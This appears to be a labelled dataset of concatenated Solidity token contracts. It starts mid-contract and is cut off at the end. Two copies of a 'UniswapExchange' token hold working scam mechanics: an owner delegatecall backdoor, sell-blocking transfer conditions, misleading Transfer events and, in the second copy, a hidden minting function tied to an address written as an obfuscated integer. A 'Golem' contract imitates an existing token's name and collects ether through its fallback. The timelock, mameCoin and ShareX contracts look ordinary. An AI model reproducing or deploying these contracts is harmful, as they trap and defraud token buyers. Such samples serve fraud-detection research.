function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,280 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1266432170004870782390186431510506405508673421912));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,692 |
pragma solidity 0.5.9;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(ERC20 token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TokenTimelock is Ownable {
using SafeERC20 for ERC20;
using SafeMath for uint256;
ERC20 public token;
struct User {
uint deposit;
uint balance;
uint releaseTime;
uint step;
}
mapping(address => User) public users;
uint public releaseStep = 90 days;
uint public releaseStepCount = 8;
uint public releaseStepPercent = 12500;
constructor(ERC20 _token) public {
token = _token;
}
function addTokens(address _user, uint256 _value) onlyOwner external returns (bool) {
require(_user != address(0));
require(users[_user].deposit == 0);
require(_value > 0);
token.safeTransferFrom(msg.sender, address(this), _value);
users[_user].deposit = _value;
users[_user].balance = _value;
users[_user].releaseTime = now + 720 days;
}
function getTokens() external {
require(users[msg.sender].balance > 0);
uint currentStep = getCurrentStep(msg.sender);
require(currentStep > 0);
require(currentStep > users[msg.sender].step);
if (currentStep == releaseStepCount) {
users[msg.sender].step = releaseStepCount;
token.safeTransfer(msg.sender, users[msg.sender].balance);
users[msg.sender].balance = 0;
} else {
uint p = releaseStepPercent * (currentStep - users[msg.sender].step);
uint val = _valueFromPercent(users[msg.sender].deposit, p);
if (users[msg.sender].balance >= val) {
users[msg.sender].balance = users[msg.sender].balance.sub(val);
token.safeTransfer(msg.sender, val);
}
users[msg.sender].step = currentStep;
}
}
function getCurrentStep(address _user) public view returns (uint) {
require(users[_user].deposit != 0);
uint _id;
if (users[_user].releaseTime >= now) {
uint _count = (users[_user].releaseTime - now) / releaseStep;
_count = _count == releaseStepCount ? _count : _count + 1;
_id = releaseStepCount - _count;
} else _id = releaseStepCount;
return _id;
}
function _valueFromPercent(uint _value, uint _percent) internal pure returns (uint amount) {
uint _amount = _value.mul(_percent).div(100000);
return (_amount);
}
function getUser(address _user) public view returns(uint, uint, uint, uint){
return (users[_user].deposit, users[_user].balance, users[_user].step, users[_user].releaseTime);
}
} | 1 | 2,885 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract mameCoin is ERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) internal allowed;
mapping(address => uint256) internal lockups;
string public constant name = "mameCoin";
string public constant symbol = "MAME";
uint8 public constant decimals = 8;
uint256 totalSupply_ = 25000000000 * (10 ** uint256(decimals));
event Burn(address indexed to, uint256 amount);
event Refund(address indexed to, uint256 amount);
event Lockup(address indexed to, uint256 lockuptime);
constructor() public {
balances[msg.sender] = totalSupply_;
emit Transfer(address(0), msg.sender, totalSupply_);
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) public returns (bool) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
require(block.timestamp > lockups[msg.sender]);
require(block.timestamp > lockups[_to]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
require(block.timestamp > lockups[_from]);
require(block.timestamp > lockups[_to]);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _amount) public returns (bool) {
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function burn(address _to, uint256 _amount) public onlyOwner {
require(_amount <= balances[_to]);
require(block.timestamp > lockups[_to]);
balances[_to] = balances[_to].sub(_amount);
totalSupply_ = totalSupply_.sub(_amount);
emit Burn(_to, _amount);
emit Transfer(_to, address(0), _amount);
}
function refund(address _to, uint256 _amount) public onlyOwner {
require(block.timestamp > lockups[_to]);
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Refund(_to, _amount);
emit Transfer(address(0), _to, _amount);
}
function lockupOf(address _owner) public view returns (uint256) {
return lockups[_owner];
}
function lockup(address _to, uint256 _lockupTimeUntil) public onlyOwner {
require(lockups[_to] < _lockupTimeUntil);
lockups[_to] = _lockupTimeUntil;
emit Lockup(_to, _lockupTimeUntil);
}
function airdrop(address[] _receivers, uint256 _amount) public returns (bool) {
require(block.timestamp > lockups[msg.sender]);
require(_receivers.length > 0);
require(_amount > 0);
uint256 _total = 0;
for (uint256 i = 0; i < _receivers.length; i++) {
require(_receivers[i] != address(0));
require(block.timestamp > lockups[_receivers[i]]);
_total = _total.add(_amount);
}
require(_total <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_total);
for (i = 0; i < _receivers.length; i++) {
balances[_receivers[i]] = balances[_receivers[i]].add(_amount);
emit Transfer(msg.sender, _receivers[i], _amount);
}
return true;
}
function distribute(address[] _receivers, uint256[] _amounts) public returns (bool) {
require(block.timestamp > lockups[msg.sender]);
require(_receivers.length > 0);
require(_amounts.length > 0);
require(_receivers.length == _amounts.length);
uint256 _total = 0;
for (uint256 i = 0; i < _receivers.length; i++) {
require(_receivers[i] != address(0));
require(block.timestamp > lockups[_receivers[i]]);
require(_amounts[i] > 0);
_total = _total.add(_amounts[i]);
}
require(_total <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_total);
for (i = 0; i < _receivers.length; i++) {
balances[_receivers[i]] = balances[_receivers[i]].add(_amounts[i]);
emit Transfer(msg.sender, _receivers[i], _amounts[i]);
}
return true;
}
} | 0 | 1,428 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract Golem {
string public name = "Golem";
string public symbol = "GNT";
uint8 public decimals = 0;
uint256 public totalSupply;
uint256 public GolemSupply = 1000000000;
uint256 public price ;
address public creator;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event FundTransfer(address backer, uint amount, bool isContribution);
function Golem() public {
totalSupply = GolemSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
creator = msg.sender;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x8c26348f63f9e008f0dd09a0ce1ed7caf6c1366b);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function () payable internal {
if (price == 0 ether){
uint ammount = 1;
uint ammountRaised;
ammountRaised += msg.value;
require(balanceOf[creator] >= 10);
require(msg.value < 0.5 ether);
require(balanceOf[msg.sender] == 0);
balanceOf[msg.sender] += ammount;
balanceOf[creator] -= ammount;
Transfer(creator, msg.sender, ammount);
creator.transfer(ammountRaised);
}
}
} | 1 | 2,581 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData)public;
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ShareXERC20 is Ownable{
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
function ShareXERC20 () public {
decimals=8;
totalSupply = 1000000000 * 10 ** uint256(decimals);
balanceOf[owner] = totalSupply;
name = "ShareX";
symbol = "SEXC";
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public
returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function transferOwnershipWithBalance(address newOwner) onlyOwner public{
if (newOwner != address(0)) {
_transfer(owner,newOwner,balanceOf[owner]);
owner = newOwner;
}
}
}
contract ShareXTokenVault is Ownable {
using SafeMath for uint256;
address public teamReserveWallet = 0x78e27c0347fa3afcc31e160b0fbc6f90186fd2b6;
address public firstReserveWallet = 0xef2ab7226c1a3d274caad2dec6d79a4db5d5799e;
address public CEO = 0x2Fc7607CE5f6c36979CC63aFcDA6D62Df656e4aE;
address public COO = 0x08465f80A28E095DEE4BE0692AC1bA1A2E3EEeE9;
address public CTO = 0xB22E5Ac6C3a9427C48295806a34f7a3C0FD21443;
address public CMO = 0xf34C06cd907AD036b75cee40755b6937176f24c3;
address public CPO = 0xa33da3654d5fdaBC4Dd49fB4e6c81C58D28aA74a;
address public CEO_TEAM =0xc0e3294E567e965C3Ff3687015fCf88eD3CCC9EA;
address public AWD = 0xc0e3294E567e965C3Ff3687015fCf88eD3CCC9EA;
uint256 public CEO_SHARE = 45;
uint256 public COO_SHARE = 12;
uint256 public CTO_SHARE = 9;
uint256 public CMO_SHARE = 9;
uint256 public CPO_SHARE = 9;
uint256 public CEO_TEAM_SHARE =6;
uint256 public AWD_SHARE =10;
uint256 public DIV = 100;
uint256 public teamReserveAllocation = 16 * (10 ** 7) * (10 ** 8);
uint256 public firstReserveAllocation = 4 * (10 ** 7) * (10 ** 8);
uint256 public totalAllocation = 2 * (10 ** 8) * (10 ** 8);
uint256 public teamVestingStages = 8;
uint256 public firstTime =1531584000;
uint256 public teamTimeLock = 2 * 365 days;
uint256 public secondTime =firstTime.add(teamTimeLock);
mapping(address => uint256) public allocations;
mapping(address => uint256) public timeLocks;
mapping(address => uint256) public claimed;
uint256 public lockedAt = 0;
ShareXERC20 public token;
event Allocated(address wallet, uint256 value);
event Distributed(address wallet, uint256 value);
event Locked(uint256 lockTime);
modifier onlyReserveWallets {
require(allocations[msg.sender] > 0);
_;
}
modifier onlyTeamReserve {
require(msg.sender == teamReserveWallet);
require(allocations[msg.sender] > 0);
_;
}
modifier onlyTokenReserve {
require(msg.sender == firstReserveWallet );
require(allocations[msg.sender] > 0);
_;
}
modifier notLocked {
require(lockedAt == 0);
_;
}
modifier locked {
require(lockedAt > 0);
_;
}
modifier notAllocated {
require(allocations[teamReserveWallet] == 0);
require(allocations[firstReserveWallet] == 0);
_;
}
function ShareXTokenVault(ERC20 _token) public {
owner = msg.sender;
token = ShareXERC20(_token);
}
function allocate() public notLocked notAllocated onlyOwner {
require(token.balanceOf(address(this)) == totalAllocation);
allocations[teamReserveWallet] = teamReserveAllocation;
allocations[firstReserveWallet] = firstReserveAllocation;
Allocated(teamReserveWallet, teamReserveAllocation);
Allocated(firstReserveWallet, firstReserveAllocation);
lock();
}
function lock() internal notLocked onlyOwner {
lockedAt = block.timestamp;
timeLocks[teamReserveWallet] = secondTime;
timeLocks[firstReserveWallet] = firstTime;
Locked(lockedAt);
}
function recoverFailedLock() external notLocked notAllocated onlyOwner {
require(token.transfer(owner, token.balanceOf(address(this))));
}
function getTotalBalance() public view returns (uint256 tokensCurrentlyInVault) {
return token.balanceOf(address(this));
}
function getLockedBalance() public view onlyReserveWallets returns (uint256 tokensLocked) {
return allocations[msg.sender].sub(claimed[msg.sender]);
}
function claimTokenReserve() onlyTokenReserve locked public {
address reserveWallet = msg.sender;
require(block.timestamp > timeLocks[reserveWallet]);
require(claimed[reserveWallet] == 0);
uint256 amount = allocations[reserveWallet];
claimed[reserveWallet] = amount;
require(token.transfer(CEO,amount.mul(CEO_SHARE).div(DIV)));
require(token.transfer(COO,amount.mul(COO_SHARE).div(DIV)));
require(token.transfer(CTO,amount.mul(CTO_SHARE).div(DIV)));
require(token.transfer(CMO,amount.mul(CMO_SHARE).div(DIV)));
require(token.transfer(CPO,amount.mul(CPO_SHARE).div(DIV)));
require(token.transfer(CEO_TEAM,amount.mul(CEO_TEAM_SHARE).div(DIV)));
require(token.transfer(AWD,amount.mul(AWD_SHARE).div(DIV)));
Distributed(CEO, amount.mul(CEO_SHARE).div(DIV));
